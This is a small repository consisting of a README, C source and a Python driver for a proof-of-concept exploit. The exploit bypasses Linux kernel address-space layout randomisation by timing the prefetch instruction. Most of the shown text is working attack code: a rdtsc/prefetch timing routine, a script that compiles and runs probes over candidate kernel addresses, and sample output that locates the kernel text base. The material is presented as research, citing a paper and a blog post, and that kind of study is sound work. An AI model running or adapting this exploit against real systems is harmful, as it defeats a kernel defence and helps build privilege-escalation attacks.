/prefetch-side-channel/README.md: -------------------------------------------------------------------------------- 1 | KASLR bypass via prefetch side-channel 2 | ====================================== 3 | 4 | Note: dilettante implementation, better read [the original paper](https://gruss.cc/files/prefetch.pdf). 5 | 6 | This is a proof-of-concept exploit for a KASLR bypass for the Linux kernel via timing the prefetch instruction. 7 | Inspired by [a blogpost by Anders Fogh](http://dreamsofastone.blogspot.ru/2016/02/breaking-kasrl-with-micro-architecture.html). 8 | 9 | The exploit works by measuring the time required to prefetch a particular address in the kernel space. 10 | The idea is that a prefetch instruction is faster on virtual addresses which actually map to a page. 11 | The used measuring approach is kind of best effort, but seems to be working. 12 | See the source code for details. 13 | 14 | The exploit was tested on a machine with Intel Core i7-4510 running Ubuntu 15.10 with 4.2.0-16-generic kernel and KASLR enabled. 15 | Other setups might require other threshold values or a different number of measuring steps for the exploit to work. 16 | I'd guess that it might not work at all for some CPUs. 17 | 18 | Since [the KASLR for the Linux kernel is not really that random](https://lwn.net/Articles/569635/), the number of slots for the kernel text is quite limited, which allows to figure out the text location in a reasonable time. 19 | 20 | Usage: 21 | ``` bash 22 | $ python poc.py 23 | 0xffffffff80000000 0.8125 24 | 0xffffffff80000000 rejected 25 | 0xffffffff81000000 0.875 26 | 0xffffffff81000000 rejected 27 | 0xffffffff82000000 0.125 28 | 0xffffffff82000000 0.125 29 | 0xffffffff82000000 0.625 30 | 0xffffffff82000000 rejected 31 | 0xffffffff83000000 0.375 32 | 0xffffffff83000000 rejected 33 | 0xffffffff84000000 0.0625 34 | 0xffffffff84000000 0.0 35 | 0xffffffff84000000 0.0625 36 | 0xffffffff84000000 0.125 37 | 0xffffffff84000000 0.0625 38 | 0xffffffff84000000 rejected 39 | 0xffffffff85000000 0.25 40 | 0xffffffff85000000 0.0625 41 | 0xffffffff85000000 0.0 42 | 0xffffffff85000000 0.25 43 | 0xffffffff85000000 0.0625 44 | 0xffffffff85000000 rejected 45 | 0xffffffff86000000 0.875 46 | 0xffffffff86000000 rejected 47 | 0xffffffff87000000 0.875 48 | 0xffffffff87000000 rejected 49 | 0xffffffff88000000 0.375 50 | 0xffffffff88000000 rejected 51 | 0xffffffff89000000 0.125 52 | 0xffffffff89000000 0.9375 53 | 0xffffffff89000000 rejected 54 | 0xffffffff8a000000 0.3125 55 | 0xffffffff8a000000 rejected 56 | 0xffffffff8b000000 0.25 57 | 0xffffffff8b000000 0.1875 58 | 0xffffffff8b000000 0.875 59 | 0xffffffff8b000000 rejected 60 | 0xffffffff8c000000 0.5625 61 | 0xffffffff8c000000 rejected 62 | 0xffffffff8d000000 0.0 63 | 0xffffffff8d000000 0.0 64 | 0xffffffff8d000000 0.0 65 | 0xffffffff8d000000 0.0 66 | 0xffffffff8d000000 0.0 67 | 0xffffffff8d000000 accepted 68 | the kernel is probably at 0xffffffff8d000000 69 | ``` 70 | 71 | You can confirm the kernel text address with: 72 | ``` bash 73 | $ sudo cat /proc/kallsyms | grep 'T _text' 74 | ffffffff8d000000 T _text 75 | ``` 76 | -------------------------------------------------------------------------------- /prefetch-side-channel/poc.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // Set a few times higher than L2 size. 4 | #define FLUSH_SIZE 4 * 1024 * 2014 5 | unsigned char mem[FLUSH_SIZE]; 6 | 7 | inline void flush_cache() { 8 | int i; 9 | 10 | for (i = 0; i < FLUSH_SIZE; i++) { 11 | mem[i] = i; 12 | } 13 | } 14 | 15 | // You might need to configure these. 16 | #define MAX_MEASURES 128 17 | #define SCORE_MEASURES 16 18 | #define DELAY_THRESHOLD 250 19 | 20 | #define ADDR "0xffffffffffffffff" 21 | 22 | inline unsigned int measure_once() { 23 | unsigned int lo1, hi1; 24 | unsigned int lo2, hi2; 25 | unsigned int time; 26 | 27 | flush_cache(); 28 | 29 | __asm__ __volatile__ ("rdtsc" : "=a"(lo1), "=d"(hi1)); 30 | __asm__ __volatile__ ("prefetcht2 " ADDR); 31 | __asm__ __volatile__ ("rdtsc" : "=a"(lo2), "=d"(hi2)); 32 | 33 | time = (hi2 - hi1) * 0xffffffff - lo1 + lo2; 34 | return time; 35 | } 36 | 37 | inline unsigned int measure_max() { 38 | int i; 39 | unsigned int time; 40 | unsigned int max = 0; 41 | 42 | for (i = 0; i < MAX_MEASURES; i++) { 43 | time = measure_once(); 44 | if (time > max) { 45 | max = time; 46 | } 47 | } 48 | 49 | return max; 50 | } 51 | 52 | inline unsigned int measure_score() { 53 | int i; 54 | unsigned int max; 55 | int score = 0; 56 | 57 | for (i = 0; i < SCORE_MEASURES; i++) { 58 | max = measure_max(); 59 | if (max >= DELAY_THRESHOLD) { 60 | score++; 61 | } 62 | } 63 | 64 | return score; 65 | } 66 | 67 | int main() { 68 | int score; 69 | 70 | score = measure_score(); 71 | printf("%f\n", (float)score / SCORE_MEASURES); 72 | 73 | return 0; 74 | } 75 | -------------------------------------------------------------------------------- /prefetch-side-channel/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import subprocess 4 | 5 | # You might need to configure these. 6 | start = 0xffffffff80000000 7 | end = 0xfffffffff0000000 8 | step = 0x0000000001000000 9 | threshold = 0.3 10 | 11 | with open('poc.c') as f: 12 | template = f.read() 13 | 14 | def measure_score(addr): 15 | test = template[:] 16 | test = test.replace('0xffffffffffffffff', addr) 17 | with open('tmp.c', 'w') as f: 18 | f.write(test) 19 | subprocess.call(['gcc', '-O3', 'tmp.c']) 20 | p = subprocess.Popen('./a.out', shell=False, stdout=subprocess.PIPE) 21 | score = p.stdout.readline().strip() 22 | return float(score) 23 | 24 | addrs = [] 25 | 26 | addr = start 27 | while addr <= end: 28 | addrs.append(addr) 29 | addr += step 30 | 31 | # The heuristics used here is: if out of 5 score measures for an address 32 | # all are lower than the threshold and at least 3 measures resulted in 0.0, 33 | # then this address in where the kernel is. Best effort. 34 | 35 | for addr in addrs: 36 | str_addr = hex(addr)[:-1] 37 | nulls = 0 38 | rejected = False 39 | 40 | for i in xrange(5): 41 | score = measure_score(str_addr) 42 | print str_addr, score 43 | if score > threshold: 44 | rejected = True 45 | break 46 | if score == 0.0: 47 | nulls += 1 48 | 49 | if rejected: 50 | print str_addr, 'rejected' 51 | continue 52 | 53 | if nulls <= 2: 54 | print str_addr, 'rejected' 55 | continue 56 | 57 | print str_addr, 'accepted' 58 | print 'the kernel is probably at', str_addr 59 | break 60 | --------------------------------------------------------------------------------